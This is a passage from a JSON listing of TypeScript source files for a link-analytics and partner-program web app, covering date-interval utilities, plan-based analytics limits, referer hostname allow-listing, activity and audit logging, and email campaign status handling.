    "path": "apps/web/lib/analytics/utils/edit-query-string.ts",
    "content": "export const editQueryString = (\n  queryString: string,\n  data: Record<string, string>,\n  del?: string | string[],\n) => {\n  const searchParams = new URLSearchParams(queryString);\n\n  for (const key in data) {\n    searchParams.set(key, data[key]);\n  }\n\n  if (del) {\n    (Array.isArray(del) ? del : [del]).forEach((d) => searchParams.delete(d));\n  }\n\n  return searchParams.toString();\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/utils/format-utc-datetime-clickhouse.ts",
    "content": "import { TZDate } from \"@date-fns/tz\";\n\nexport const formatUTCDateTimeClickhouse = (date: Date | TZDate) => {\n  return new Date(date.getTime())\n    .toISOString()\n    .replace(\"T\", \" \")\n    .replace(\"Z\", \"\");\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/utils/get-interval-data.ts",
    "content": "import { tz, TZDate } from \"@date-fns/tz\";\nimport { DUB_FOUNDING_DATE } from \"@dub/utils\";\nimport {\n  endOfToday,\n  startOfMonth,\n  startOfQuarter,\n  startOfYear,\n  subDays,\n  subHours,\n  subMonths,\n} from \"date-fns\";\n\nconst INTERVAL_DATA: Record<\n  string,\n  ({ timezone }: { timezone?: string }) => {\n    startDate: TZDate;\n    endDate: TZDate;\n    granularity: \"minute\" | \"hour\" | \"day\" | \"month\";\n  }\n> = {\n  \"24h\": ({ timezone }) => ({\n    startDate: subHours(new TZDate(Date.now(), timezone), 24),\n    endDate: new TZDate(Date.now(), timezone),\n    granularity: \"hour\",\n  }),\n  \"7d\": ({ timezone }) => ({\n    startDate: subDays(new TZDate(Date.now(), timezone), 7),\n    endDate: endOfToday({ in: timezone ? tz(timezone) : undefined }),\n    granularity: \"day\",\n  }),\n  \"30d\": ({ timezone }) => ({\n    startDate: subDays(new TZDate(Date.now(), timezone), 30),\n    endDate: endOfToday({ in: timezone ? tz(timezone) : undefined }),\n    granularity: \"day\",\n  }),\n  \"90d\": ({ timezone }) => ({\n    startDate: subDays(new TZDate(Date.now(), timezone), 90),\n    endDate: endOfToday({ in: timezone ? tz(timezone) : undefined }),\n    granularity: \"day\",\n  }),\n  \"1y\": ({ timezone }) => ({\n    startDate: subMonths(new TZDate(Date.now(), timezone), 12),\n    endDate: endOfToday({ in: timezone ? tz(timezone) : undefined }),\n    granularity: \"month\",\n  }),\n  mtd: ({ timezone }) => {\n    return {\n      startDate: startOfMonth(new TZDate(Date.now(), timezone)),\n      endDate: endOfToday({ in: timezone ? tz(timezone) : undefined }),\n      granularity: \"day\",\n    };\n  },\n  qtd: ({ timezone }) => ({\n    startDate: startOfQuarter(new TZDate(Date.now(), timezone)),\n    endDate: endOfToday({ in: timezone ? tz(timezone) : undefined }),\n    granularity: \"day\",\n  }),\n  ytd: ({ timezone }) => ({\n    startDate: startOfYear(new TZDate(Date.now(), timezone)),\n    endDate: endOfToday({ in: timezone ? tz(timezone) : undefined }),\n    granularity: \"month\",\n  }),\n  all: ({ timezone }) => ({\n    startDate: new TZDate(DUB_FOUNDING_DATE, timezone),\n    endDate: endOfToday({ in: timezone ? tz(timezone) : undefined }),\n    granularity: \"month\",\n  }),\n};\n\nexport const getIntervalData = (\n  interval: string,\n  { timezone }: { timezone?: string } = {},\n) => INTERVAL_DATA[interval]({ timezone });\n"
  },
  {
    "path": "apps/web/lib/analytics/utils/get-start-end-dates.ts",
    "content": "import { tz, TZDate } from \"@date-fns/tz\";\nimport { differenceInDays, endOfDay, startOfDay } from \"date-fns\";\nimport { getIntervalData } from \"./get-interval-data\";\n\nexport const getStartEndDates = ({\n  interval,\n  start,\n  end,\n  dataAvailableFrom,\n  timezone,\n}: {\n  interval?: string;\n  start?: string | Date | null;\n  end?: string | Date | null;\n  dataAvailableFrom?: Date;\n  timezone?: string;\n}) => {\n  let startDate: TZDate;\n  let endDate: TZDate;\n  let granularity: \"minute\" | \"hour\" | \"day\" | \"month\" = \"day\";\n\n  if (start || (interval === \"all\" && dataAvailableFrom)) {\n    startDate = startOfDay(\n      new TZDate(new Date(start ?? dataAvailableFrom ?? Date.now()), timezone),\n    );\n    endDate = endOfDay(new TZDate(new Date(end ?? Date.now()), timezone));\n\n    const daysDifference = differenceInDays(endDate, startDate, {\n      in: timezone ? tz(timezone) : undefined,\n    });\n\n    if (daysDifference <= 2) {\n      granularity = \"hour\";\n    } else if (daysDifference > 180) {\n      granularity = \"month\";\n    }\n\n    // Swap start and end if start is greater than end\n    if (startDate > endDate) {\n      [startDate, endDate] = [endDate, startDate];\n    }\n  } else {\n    interval = interval ?? \"30d\";\n    const intervalData = getIntervalData(interval, { timezone });\n    startDate = intervalData.startDate;\n    endDate = intervalData.endDate;\n    granularity = intervalData.granularity;\n  }\n\n  return { startDate, endDate, granularity };\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/utils/index.ts",
    "content": "export * from \"./convert-to-csv\";\nexport * from \"./edit-query-string\";\nexport * from \"./get-interval-data\";\nexport * from \"./valid-date-range-for-plan\";\n"
  },
  {
    "path": "apps/web/lib/analytics/utils/valid-date-range-for-plan.ts",
    "content": "import { getDaysDifference } from \"@dub/utils\";\n\nexport type DateRangeValidationResult =\n  | { valid: true }\n  | {\n      valid: false;\n      code: \"free-limit\" | \"pro-limit\";\n      message: string;\n    };\n\nexport const validDateRangeForPlan = ({\n  plan,\n  dataAvailableFrom,\n  interval,\n  start,\n  end,\n}: {\n  plan?: string | null;\n  dataAvailableFrom?: Date;\n  interval?: string;\n  start?: Date | null;\n  end?: Date | null;\n}): DateRangeValidationResult => {\n  end = end ?? new Date(Date.now());\n  if (interval === \"all\" && dataAvailableFrom && !start) {\n    start = dataAvailableFrom;\n  }\n\n  // Free plan users can only get analytics for 30 days\n  if (\n    (!plan || plan === \"free\") &&\n    (interval === \"90d\" ||\n      interval === \"1y\" ||\n      interval === \"ytd\" ||\n      (start && getDaysDifference(start, end) > 31))\n  ) {\n    return {\n      valid: false,\n      code: \"free-limit\",\n      message:\n        \"You can only get analytics for up to 30 days on a Free plan. Upgrade to Pro or Business to get analytics for longer periods.\",\n    };\n  }\n\n  // Pro plan users can only get analytics for 1 year\n  if (plan === \"pro\" && start && getDaysDifference(start, end) > 366) {\n    return {\n      valid: false,\n      code: \"pro-limit\",\n      message:\n        \"You can only get analytics for up to 1 year on a Pro plan. Upgrade to Business to get analytics for longer periods.\",\n    };\n  }\n\n  return {\n    valid: true,\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/verify-analytics-allowed-hostnames.ts",
    "content": "export const getHostnameFromRequest = (req: Request) => {\n  const source = req.headers.get(\"referer\") || req.headers.get(\"origin\");\n  if (!source) return null;\n  try {\n    const sourceUrl = new URL(source);\n    return sourceUrl.hostname.replace(/^www\\./, \"\");\n  } catch (error) {\n    console.log(\"Error getting hostname from request\", { source, error });\n    return null;\n  }\n};\n\nexport const verifyAnalyticsAllowedHostnames = ({\n  allowedHostnames,\n  req,\n}: {\n  allowedHostnames: string[];\n  req: Request;\n}) => {\n  // If no allowed hostnames are set, allow the request\n  if (!allowedHostnames || allowedHostnames.length === 0) {\n    return true;\n  }\n\n  const hostname = getHostnameFromRequest(req);\n\n  if (!hostname) {\n    console.log(\"Event not recorded ❌ – No hostname found in request.\", {\n      allowedHostnames,\n    });\n    return false;\n  }\n\n  // Check for exact matches first (including root domain)\n  if (allowedHostnames.includes(hostname)) {\n    return true;\n  }\n\n  // Check for wildcard subdomain matches\n  const wildcardMatches = allowedHostnames\n    .filter((domain) => domain.startsWith(\"*.\"))\n    .map((domain) => domain.slice(2)); // Remove the \"*.\", leaving just the domain\n\n  for (const domain of wildcardMatches) {\n    // Allow only proper subdomains: ensure hostname ends with \".domain.com\"\n    if (hostname.endsWith(`.${domain}`)) {\n      return true;\n    }\n  }\n\n  console.log(\n    `Event not recorded ❌ – Hostname ${hostname} does not match any allowed patterns.`,\n    {\n      allowedHostnames,\n    },\n  );\n\n  return false;\n};\n"
  },
  {
    "path": "apps/web/lib/api/activity-log/build-program-enrollment-change-set.ts",
    "content": "import type { ChangeSet } from \"@/lib/types\";\nimport { PartnerGroup } from \"@dub/prisma/client\";\n\ninterface BuildProgramEnrollmentChangeSetInput {\n  oldEnrollment:\n    | { partnerGroup: Pick<PartnerGroup, \"id\" | \"name\"> | null | undefined }\n    | null\n    | undefined;\n  newEnrollment:\n    | { partnerGroup: Pick<PartnerGroup, \"id\" | \"name\"> | null | undefined }\n    | null\n    | undefined;\n}\n\nexport const buildProgramEnrollmentChangeSet = ({\n  oldEnrollment,\n  newEnrollment,\n}: BuildProgramEnrollmentChangeSetInput): ChangeSet => {\n  const changeSet: ChangeSet = {};\n\n  const oldGroup = oldEnrollment?.partnerGroup;\n  const newGroup = newEnrollment?.partnerGroup;\n\n  if (oldGroup?.id !== newGroup?.id) {\n    changeSet.group = {\n      old: oldGroup ? { id: oldGroup.id, name: oldGroup.name } : null,\n      new: newGroup ? { id: newGroup.id, name: newGroup.name } : null,\n    };\n  }\n\n  return changeSet;\n};\n"
  },
  {
    "path": "apps/web/lib/api/activity-log/get-resource-diff.ts",
    "content": "import * as jsondiffpatch from \"jsondiffpatch\";\n\ntype DiffValue = {\n  old: unknown;\n  new: unknown;\n};\n\nexport type ResourceDiff = Record<string, DiffValue>;\n\ninterface GetResourceDiffOptions {\n  /** If provided, only compare these specific fields */\n  fields?: string[];\n}\n\n/**\n * Computes the diff between old and new resource objects using jsondiffpatch.\n * Only returns fields that have changed.\n *\n * @param oldResource - The original resource object\n * @param newResource - The updated resource object\n * @param options - Optional configuration\n * @param options.fields - If provided, only compare these specific fields\n * @returns An object containing only the changed fields with their old and new values,\n *          or null if there are no changes\n */\nexport const getResourceDiff = (\n  oldResource: Record<string, unknown>,\n  newResource: Record<string, unknown>,\n  options?: GetResourceDiffOptions,\n): ResourceDiff | null => {\n  const { fields } = options ?? {};\n\n  const diffpatcher = jsondiffpatch.create({\n    propertyFilter: fields\n      ? (name: string) => fields.includes(name)\n      : undefined,\n  });\n\n  const delta = diffpatcher.diff(oldResource, newResource);\n\n  if (!delta) {\n    return null;\n  }\n\n  const result: ResourceDiff = {};\n\n  for (const [key, value] of Object.entries(delta)) {\n    if (!Array.isArray(value)) {\n      // Nested object change - store as-is\n      result[key] = {\n        old: oldResource[key],\n        new: newResource[key],\n      };\n    } else if (value.length === 2) {\n      // Modified: [oldValue, newValue]\n      result[key] = {\n        old: value[0],\n        new: value[1],\n      };\n    } else if (value.length === 1) {\n      // Added: [newValue]\n      result[key] = {\n        old: undefined,\n        new: value[0],\n      };\n    } else if (value.length === 3 && value[1] === 0 && value[2] === 0) {\n      // Deleted: [oldValue, 0, 0]\n      result[key] = {\n        old: value[0],\n        new: undefined,\n      };\n    }\n  }\n\n  return Object.keys(result).length > 0 ? result : null;\n};\n"
  },
  {
    "path": "apps/web/lib/api/activity-log/track-activity-log.ts",
    "content": "import { logger } from \"@/lib/axiom/server\";\nimport {\n  ActivityLogAction,\n  ActivityLogResourceType,\n  ChangeSet,\n} from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { prettyPrint } from \"@dub/utils\";\n\nconst ACTIONS_WITHOUT_CHANGE_SET: ActivityLogAction[] = [\n  \"referral.created\",\n  \"reward.created\",\n  \"reward.deleted\",\n];\n\nexport interface TrackActivityLogInput\n  extends Pick<\n    Prisma.ActivityLogUncheckedCreateInput,\n    | \"workspaceId\"\n    | \"programId\"\n    | \"resourceId\"\n    | \"userId\"\n    | \"description\"\n    | \"parentResourceType\"\n    | \"parentResourceId\"\n    | \"batchId\"\n  > {\n  resourceType: ActivityLogResourceType;\n  action: ActivityLogAction;\n  changeSet?: ChangeSet;\n}\n\nexport const trackActivityLog = async (\n  input: TrackActivityLogInput | TrackActivityLogInput[],\n) => {\n  let inputs = Array.isArray(input) ? input : [input];\n\n  inputs = inputs.filter(\n    (i) =>\n      ACTIONS_WITHOUT_CHANGE_SET.includes(i.action) ||\n      (i.changeSet && Object.keys(i.changeSet).length > 0),\n  );\n\n  if (inputs.length === 0) {\n    return;\n  }\n\n  try {\n    const createdActivityLogs = await prisma.activityLog.createMany({\n      data: inputs.map((input) => ({\n        ...input,\n        changeSet: input.changeSet as Prisma.InputJsonValue,\n      })),\n    });\n\n    console.log(\n      `[trackActivityLog] Created ${createdActivityLogs.count} activity logs`,\n      prettyPrint(inputs),\n    );\n  } catch (error) {\n    logger.error(\"[trackActivityLog] Failed to create activity log\", error);\n    await logger.flush();\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/activity-log/track-reward-activity-log.ts",
    "content": "import { serializeReward } from \"@/lib/api/partners/serialize-reward\";\nimport type { RewardConditions, RewardProps } from \"@/lib/types\";\nimport { REWARD_EVENT_TO_RESOURCE_TYPE } from \"@/lib/zod/schemas/activity-log\";\nimport type { Reward } from \"@dub/prisma/client\";\nimport { getResourceDiff } from \"./get-resource-diff\";\nimport type { TrackActivityLogInput } from \"./track-activity-log\";\nimport { trackActivityLog } from \"./track-activity-log\";\n\ninterface TrackRewardActivityLogParams\n  extends Omit<\n    TrackActivityLogInput,\n    \"action\" | \"changeSet\" | \"resourceType\" | \"batchId\"\n  > {\n  old: Reward | RewardProps | null;\n  new: Reward | RewardProps | null;\n}\n\nfunction toRewardActivitySnapshot(reward: RewardProps) {\n  return {\n    event: reward.event,\n    type: reward.type,\n    amountInCents: reward.amountInCents ?? null,\n    amountInPercentage: reward.amountInPercentage ?? null,\n    maxDuration: reward.maxDuration ?? null,\n    description: reward.description ?? null,\n    tooltipDescription: reward.tooltipDescription ?? null,\n    modifiers: reward.modifiers ?? null,\n  };\n}\n\nfunction modifierEquals(a: RewardConditions, b: RewardConditions): boolean {\n  return JSON.stringify(a) === JSON.stringify(b);\n}\n\nfunction buildModifierChangeSetEntries(\n  oldReward: Omit<RewardProps, \"id\" | \"updatedAt\">,\n  newReward: Omit<RewardProps, \"id\" | \"updatedAt\">,\n) {\n  const oldModifiers = Array.isArray(oldReward.modifiers)\n    ? oldReward.modifiers\n    : [];\n  const newModifiers = Array.isArray(newReward.modifiers)\n    ? newReward.modifiers\n    : [];\n\n  const logs: Pick<TrackActivityLogInput, \"action\" | \"changeSet\">[] = [];\n\n  const oldById = new Map<string, RewardConditions>();\n  const newById = new Map<string, RewardConditions>();\n\n  for (const modifier of oldModifiers) {\n    if (modifier.id != null && modifier.id !== \"\") {\n      oldById.set(modifier.id, modifier);\n    }\n  }\n\n  for (const modifier of newModifiers) {\n    if (modifier.id != null && modifier.id !== \"\") {\n      newById.set(modifier.id, modifier);\n    }\n  }\n\n  for (const [id, oldMod] of oldById) {\n    const newMod = newById.get(id);\n\n    // Condition removed\n    if (newMod === undefined) {\n      logs.push({\n        action: \"reward.conditionRemoved\",\n        changeSet: {\n          reward: {\n            old: {\n              ...oldReward,\n              modifiers: [oldMod],\n            },\n            new: null,\n          },\n        },\n      });\n    }\n\n    // Condition updated\n    if (newMod !== undefined && !modifierEquals(oldMod, newMod)) {\n      logs.push({\n        action: \"reward.conditionUpdated\",\n        changeSet: {\n          reward: {\n            old: {\n              ...oldReward,\n              modifiers: [oldMod],\n            },\n            new: {\n              ...newReward,\n              modifiers: [newMod],\n            },\n          },\n        },\n      });\n    }\n  }\n\n  for (const [id, newMod] of newById) {\n    const oldMod = oldById.get(id);\n\n    // Condition added\n    if (oldMod === undefined) {\n      logs.push({\n        action: \"reward.conditionAdded\",\n        changeSet: {\n          reward: {\n            old: null,\n            new: {\n              ...newReward,\n              modifiers: [newMod],\n            },\n          },\n        },\n      });\n    }\n  }\n\n  return logs;\n}\n\nexport function trackRewardActivityLog({\n  old: oldReward,\n  new: newReward,\n  ...baseInput\n}: TrackRewardActivityLogParams) {\n  const reward = oldReward || newReward;\n  const resourceType = reward\n    ? REWARD_EVENT_TO_RESOURCE_TYPE[reward.event]\n    : null;\n\n  // This should never happen\n  if (!resourceType) {\n    return;\n  }\n\n  if (oldReward === null && newReward !== null) {\n    const newSnapshot = toRewardActivitySnapshot(\n      serializeReward(newReward as Reward),\n    );\n\n    return trackActivityLog({\n      ...baseInput,\n      resourceType,\n      action: \"reward.created\",\n      changeSet: {\n        reward: {\n          old: null,\n          new: newSnapshot,\n        },\n      },\n    });\n  }\n\n  const activityLogs: Pick<TrackActivityLogInput, \"action\" | \"changeSet\">[] =\n    [];\n\n  if (oldReward !== null && newReward !== null) {\n    const oldSnapshot = toRewardActivitySnapshot(\n      serializeReward(oldReward as Reward),\n    );\n\n    const newSnapshot = toRewardActivitySnapshot(\n      serializeReward(newReward as Reward),\n    );\n\n    const diff = getResourceDiff(oldSnapshot, newSnapshot, {\n      fields: [\n        \"type\",\n        \"amountInCents\",\n        \"amountInPercentage\",\n        \"maxDuration\",\n        \"description\",\n        \"tooltipDescription\",\n      ],\n    });\n\n    if (diff) {\n      activityLogs.push({\n        ...baseInput,\n        action: \"reward.updated\",\n        changeSet: {\n          reward: {\n            old: oldSnapshot,\n            new: newSnapshot,\n          },\n        },\n      });\n    }\n\n    activityLogs.push(\n      ...buildModifierChangeSetEntries(oldSnapshot, newSnapshot),\n    );\n  }\n\n  if (oldReward !== null && newReward === null) {\n    const oldSnapshot = toRewardActivitySnapshot(\n      serializeReward(oldReward as Reward),\n    );\n\n    activityLogs.push({\n      ...baseInput,\n      action: \"reward.deleted\",\n      changeSet: {\n        reward: {\n          old: oldSnapshot,\n          new: null,\n        },\n      },\n    });\n  }\n\n  const batchId = activityLogs.length > 0 ? crypto.randomUUID() : undefined;\n\n  const finalActivityLogs: TrackActivityLogInput[] = activityLogs.map(\n    (log) => ({\n      ...baseInput,\n      ...log,\n      resourceType,\n      ...(batchId && { batchId }),\n    }),\n  );\n\n  return trackActivityLog(finalActivityLogs);\n}\n"
  },
  {
    "path": "apps/web/lib/api/audit-logs/get-audit-logs.ts",
    "content": "import { formatUTCDateTimeClickhouse } from \"@/lib/analytics/utils/format-utc-datetime-clickhouse\";\nimport { tb } from \"@/lib/tinybird\";\nimport * as z from \"zod/v4\";\nimport { prefixWorkspaceId } from \"../workspaces/workspace-id\";\n\nexport const auditLogFilterSchemaTB = z.object({\n  workspaceId: z.string().transform(prefixWorkspaceId),\n  programId: z.string(),\n  start: z.string(),\n  end: z.string(),\n});\n\nexport const auditLogResponseSchemaTB = z.object({\n  id: z.string(),\n  timestamp: z.string(),\n  action: z.string(),\n  actor_id: z.string(),\n  actor_type: z.string(),\n  actor_name: z.string(),\n  description: z.string(),\n  ip_address: z.string(),\n  user_agent: z.string(),\n  targets: z.string(),\n  metadata: z.string(),\n});\n\nexport const getAuditLogs = async ({\n  workspaceId,\n  programId,\n  start,\n  end,\n}: {\n  start: Date;\n  end: Date;\n  workspaceId: string;\n  programId: string;\n}) => {\n  const pipe = tb.buildPipe({\n    pipe: \"get_audit_logs\",\n    parameters: auditLogFilterSchemaTB,\n    data: auditLogResponseSchemaTB,\n  });\n\n  const events = await pipe({\n    workspaceId,\n    programId,\n    start: formatUTCDateTimeClickhouse(start),\n    end: formatUTCDateTimeClickhouse(end),\n  });\n\n  return events.data;\n};\n"
  },
  {
    "path": "apps/web/lib/api/audit-logs/record-audit-log.ts",
    "content": "import { getIP } from \"@/lib/api/utils/get-ip\";\nimport { tb } from \"@/lib/tinybird\";\nimport { log } from \"@dub/utils\";\nimport { ipAddress as getIPAddress } from \"@vercel/functions\";\nimport { headers } from \"next/headers\";\nimport * as z from \"zod/v4\";\nimport { createId } from \"../create-id\";\nimport { prefixWorkspaceId } from \"../workspaces/workspace-id\";\nimport { auditLogSchemaTB, recordAuditLogInputSchema } from \"./schemas\";\n\ntype AuditLogInput = z.infer<typeof recordAuditLogInputSchema>;\n\nconst transformAuditLogTB = (\n  data: AuditLogInput,\n  {\n    headersList,\n    ipAddress,\n  }: { headersList: Headers; ipAddress: string | undefined },\n) => {\n  const userAgent = headersList.get(\"user-agent\");\n\n  const auditLogInput = recordAuditLogInputSchema.parse({\n    ...data,\n    ipAddress,\n    userAgent,\n  });\n\n  return {\n    id: createId({ prefix: \"audit_\" }),\n    timestamp: new Date().toISOString(),\n    workspace_id: prefixWorkspaceId(auditLogInput.workspaceId),\n    program_id: auditLogInput.programId,\n    action: auditLogInput.action,\n    actor_id: auditLogInput.actor.id,\n    actor_type: auditLogInput.actor.type ?? \"user\",\n    actor_name: auditLogInput.actor.name ?? \"\",\n    description: auditLogInput.description ?? \"\",\n    targets: auditLogInput.targets ? JSON.stringify(auditLogInput.targets) : \"\",\n    metadata: auditLogInput.metadata\n      ? JSON.stringify(auditLogInput.metadata)\n      : \"\",\n    ip_address: ipAddress ?? \"\",\n    user_agent: userAgent ?? \"\",\n  };\n};\n\nexport const recordAuditLog = async (data: AuditLogInput | AuditLogInput[]) => {\n  const headersList = await headers();\n  const dataReq = Array.isArray(data)\n    ? data.map((d) => d.req).find((d) => d)\n    : data.req;\n  const ipAddress = dataReq ? getIPAddress(dataReq) : await getIP();\n\n  const auditLogs = Array.isArray(data)\n    ? data.map((d) => transformAuditLogTB(d, { headersList, ipAddress }))\n    : [transformAuditLogTB(data, { headersList, ipAddress })];\n\n  try {\n    return await recordAuditLogTB(auditLogs);\n  } catch (error) {\n    console.error(\n      \"Failed to record audit log\",\n      error,\n      JSON.stringify(auditLogs),\n    );\n\n    await log({\n      message: \"Failed to record audit log. See logs for more details.\",\n      type: \"errors\",\n      mention: true,\n    });\n  }\n};\n\nconst recordAuditLogTB = tb.buildIngestEndpoint({\n  datasource: \"dub_audit_logs\",\n  event: auditLogSchemaTB,\n  wait: true,\n});\n"
  },
  {
    "path": "apps/web/lib/api/audit-logs/schemas.ts",
    "content": "import {\n  BountySchema,\n  BountySubmissionSchema,\n} from \"@/lib/zod/schemas/bounties\";\nimport { CommissionSchema } from \"@/lib/zod/schemas/commissions\";\nimport { DiscountCodeSchema, DiscountSchema } from \"@/lib/zod/schemas/discount\";\nimport { GroupSchema } from \"@/lib/zod/schemas/groups\";\nimport { PartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { PayoutSchema } from \"@/lib/zod/schemas/payouts\";\nimport { ProgramSchema } from \"@/lib/zod/schemas/programs\";\nimport { referralSchema } from \"@/lib/zod/schemas/referrals\";\nimport { RewardSchema } from \"@/lib/zod/schemas/rewards\";\nimport * as z from \"zod/v4\";\n\n// Schema that represents the audit log schema in Tinybird\nexport const auditLogSchemaTB = z.object({\n  id: z.string(),\n  timestamp: z.string(),\n  workspace_id: z.string(),\n  program_id: z.string(),\n  action: z.string(),\n  actor_id: z.string(),\n  actor_type: z.string(),\n  actor_name: z.string(),\n  description: z.string(),\n  targets: z.string().nullable(),\n  ip_address: z.string().nullable(),\n  user_agent: z.string().nullable(),\n  metadata: z.string().nullable(),\n});\n\nconst actionSchema = z.enum([\n  // Program\n  \"program.created\",\n  \"program.updated\",\n\n  // Rewards\n  \"reward.created\",\n  \"reward.updated\",\n  \"reward.deleted\",\n\n  // Discounts\n  \"discount.created\",\n  \"discount.updated\",\n  \"discount.deleted\",\n  \"discount_code.created\",\n  \"discount_code.deleted\",\n\n  // Partner applications\n  \"partner_application.approved\",\n  \"partner_application.rejected\",\n\n  // Partner enrollments\n  \"partner.created\",\n  \"partner.archived\",\n  \"partner.invited\",\n  \"partner.approved\",\n  \"partner.invite_deleted\",\n  \"partner.invite_resent\",\n  \"partner.enrollment_updated\",\n  \"partner.deactivated\",\n  \"partner.reactivated\",\n  \"partner.banned\",\n  \"partner.unbanned\",\n\n  // Auto approve partners\n  \"auto_approve_partner.enabled\",\n  \"auto_approve_partner.disabled\",\n\n  // Commissions & clawbacks\n  \"commission.created\",\n  \"commission.updated\",\n  \"clawback.created\",\n  \"commission.canceled\",\n  \"commission.marked_fraud\",\n  \"commission.marked_duplicate\",\n\n  // Payouts\n  \"payout.confirmed\",\n  \"payout.marked_paid\",\n\n  // Groups\n  \"group.created\",\n  \"group.updated\",\n  \"group.deleted\",\n\n  // Bounties\n  \"bounty.created\",\n  \"bounty.updated\",\n  \"bounty.deleted\",\n  \"bounty_submission.approved\",\n  \"bounty_submission.rejected\",\n  \"bounty_submission.reopened\",\n]);\n\nexport const auditLogTarget = z.union([\n  z.object({\n    type: z.literal(\"program\"),\n    id: z.string(),\n    metadata: ProgramSchema.pick({\n      domain: true,\n      url: true,\n      supportEmail: true,\n      helpUrl: true,\n      termsUrl: true,\n      minPayoutAmount: true,\n      messagingEnabledAt: true,\n    }).optional(),\n  }),\n\n  z.object({\n    type: z.literal(\"reward\"),\n    id: z.string(),\n    metadata: RewardSchema.pick({\n      event: true,\n      type: true,\n      amountInCents: true,\n      amountInPercentage: true,\n      maxDuration: true,\n    }),\n  }),\n\n  z.object({\n    type: z.literal(\"discount\"),\n    id: z.string(),\n    metadata: DiscountSchema.pick({\n      type: true,\n      amount: true,\n      maxDuration: true,\n      couponId: true,\n    }),\n  }),\n\n  z.object({\n    type: z.literal(\"discount_code\"),\n    id: z.string(),\n    metadata: DiscountCodeSchema,\n  }),\n\n  z.object({\n    type: z.literal(\"partner\"),\n    id: z.string(),\n    metadata: PartnerSchema.pick({\n      name: true,\n      email: true,\n    }),\n  }),\n\n  z.object({\n    type: z.union([z.literal(\"commission\"), z.literal(\"clawback\")]),\n    id: z.string(),\n    metadata: CommissionSchema.pick({\n      type: true,\n      amount: true,\n      earnings: true,\n      currency: true,\n    }),\n  }),\n\n  z.object({\n    type: z.literal(\"payout\"),\n    id: z.string(),\n    metadata: PayoutSchema.pick({\n      status: true,\n    }),\n  }),\n\n  z.object({\n    type: z.literal(\"group\"),\n    id: z.string(),\n    metadata: GroupSchema.pick({\n      name: true,\n      slug: true,\n      color: true,\n    }).extend({\n      clickRewardId: z.string().nullish(),\n      leadRewardId: z.string().nullish(),\n      saleRewardId: z.string().nullish(),\n      discountId: z.string().nullish(),\n    }),\n  }),\n\n  z.object({\n    type: z.literal(\"bounty\"),\n    id: z.string(),\n    metadata: BountySchema,\n  }),\n\n  z.object({\n    type: z.literal(\"bounty_submission\"),\n    id: z.string(),\n    metadata: BountySubmissionSchema,\n  }),\n\n  z.object({\n    type: z.literal(\"partner_referral\"),\n    id: z.string(),\n    metadata: referralSchema.pick({\n      email: true,\n      name: true,\n      company: true,\n    }),\n  }),\n]);\n\nexport const recordAuditLogInputSchema = z.object({\n  workspaceId: z.string(),\n  programId: z.string(),\n  action: actionSchema,\n  actor: z.object({\n    id: z.string(),\n    name: z.string().nullish(),\n    type: z.string().nullish(),\n  }),\n  description: z.string().nullish(),\n  ipAddress: z.string().nullish(),\n  userAgent: z.string().nullish(),\n  targets: z.array(auditLogTarget).nullish(),\n  metadata: z.record(z.string(), z.any()).nullish(),\n  req: z.instanceof(Request).nullish(),\n});\n"
  },
  {
    "path": "apps/web/lib/api/campaigns/constants.ts",
    "content": "import { CampaignStatus, CampaignType } from \"@dub/prisma/client\";\n\nexport const DEFAULT_CAMPAIGN_BODY = {\n  type: \"doc\",\n  content: [],\n};\n\nexport const CAMPAIGN_STATUS_TRANSITIONS: Record<\n  CampaignType,\n  Partial<Record<CampaignStatus, CampaignStatus[]>>\n> = {\n  marketing: {\n    draft: [\"scheduled\"],\n    scheduled: [\"sending\", \"canceled\"],\n    sending: [\"sent\", \"canceled\"],\n    sent: [],\n    canceled: [],\n  },\n  transactional: {\n    draft: [\"active\"],\n    active: [\"paused\"],\n    paused: [\"active\"],\n  },\n} as const;\n\nexport const CAMPAIGN_EDITABLE_STATUSES: CampaignStatus[] = [\n  \"draft\",\n  \"paused\",\n  \"scheduled\",\n];\n\nexport const CAMPAIGN_READONLY_STATUSES: CampaignStatus[] = [\n  \"sending\",\n  \"sent\",\n  \"canceled\",\n];\n\nexport const CAMPAIGN_ACTIVE_STATUSES: CampaignStatus[] = [\n  \"active\",\n  \"scheduled\",\n  \"sending\",\n];\n"
  },
  {
    "path": "apps/web/lib/api/campaigns/get-campaign-events.ts",
    "content": "import {\n  campaignEventSchema,\n  getCampaignsEventsQuerySchema,\n} from \"@/lib/zod/schemas/campaigns\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\n\ninterface GetCampaignEventsParams\n  extends z.infer<typeof getCampaignsEventsQuerySchema> {\n  campaignId: string;\n}\n\nexport const getCampaignEvents = async ({\n  campaignId,\n  status,\n  page = 1,\n  pageSize,\n  search,\n}: GetCampaignEventsParams) => {\n  const results = await prisma.notificationEmail.findMany({\n    where: {\n      campaignId,\n      ...(status === \"delivered\" && { deliveredAt: { not: null } }),\n      ...(status === \"opened\" && { openedAt: { not: null } }),\n      ...(status === \"bounced\" && { bouncedAt: { not: null } }),\n      ...(search && {\n        OR: [\n          { partner: { email: { contains: search } } },\n          { partner: { name: { contains: search } } },\n        ],\n      }),\n    },\n    include: {\n      partner: {\n        select: {\n          id: true,\n          name: true,\n          image: true,\n          programs: {\n            select: {\n              partnerGroup: {\n                select: {\n                  id: true,\n                  name: true,\n                  color: true,\n                },\n              },\n            },\n          },\n        },\n      },\n    },\n    skip: (page - 1) * pageSize,\n    take: pageSize,\n    orderBy: {\n      ...(status === \"delivered\" && { deliveredAt: \"desc\" }),\n      ...(status === \"opened\" && { openedAt: \"desc\" }),\n      ...(status === \"bounced\" && { bouncedAt: \"desc\" }),\n    },\n  });\n\n  const events = results.map((result) => {\n    return {\n      id: result.id,\n      partner: result.partner,\n      group: result.partner?.programs[0]?.partnerGroup,\n      createdAt: result.createdAt,\n      openedAt: result.openedAt,\n      bouncedAt: result.bouncedAt,\n      deliveredAt: result.deliveredAt,\n    };\n  });\n\n  return z.array(campaignEventSchema).parse(events);\n};\n"
  },
  {
    "path": "apps/web/lib/api/campaigns/get-campaign-or-throw.ts",
